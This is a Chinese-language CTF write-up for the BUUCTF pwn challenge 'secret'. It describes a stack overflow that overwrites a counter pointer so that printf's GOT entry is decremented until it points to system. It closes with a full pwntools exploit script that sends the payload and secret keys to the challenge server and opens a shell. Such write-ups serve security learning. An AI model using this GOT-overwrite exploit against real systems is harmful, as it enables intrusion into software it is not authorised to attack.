[BUUCTF-pwn]——[BJDCTF 2nd]secret
这道题目,看就考验你的汇编能力了。
因为在反汇编的过程中,有一个函数过大,无法反汇编
在IDA中看到一个格外令人喜欢的东西,可是if 的条件无法反汇编。
进入汇编查看, 必须要这样下去,才可以往下面一看绝望呀。超级多
最后才给你赋值为0,虽然这样可以暴力破解,但是弄成千上万次,也够麻烦的。想要尝试的朋友可以试试。
既然上面那种方法太过于,笨重。接着看代码,发现
如果我们将printf的got表改为system的plt. 同时 buf写入我们想要的 “/bin/sh" 或者 ” cat flag" 问题也就可以解决。
最后发现他们距离仅仅0x10也就是16
同时,我们发现每次转跳都会执行,
瞌睡了送枕头, 发现里面这个东西每次都会减一而且用的是*, 也就是如果这个是printf_got的话,每次都会让got中的内容减一。
而它距离buf仅仅0x10,完全可以利用栈溢出进行覆盖
思路
修改off_46D090, 为printf_got。
转跳15次,也就是减去16
使得printf_got指向system
exploit
from pwn import *
#p = process('./secret')
p = remote('node3.buuoj.cn',26938)
elf = ELF('./secret')
printf_got = elf.got['printf']
keys = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'a') + p32(printf_got)
p.sendafter("What's your name?",payload)
for key in keys:
p.sendlineafter('Secret:',str(key))
p.sendlineafter('Secret:','5201314')
p.interactive()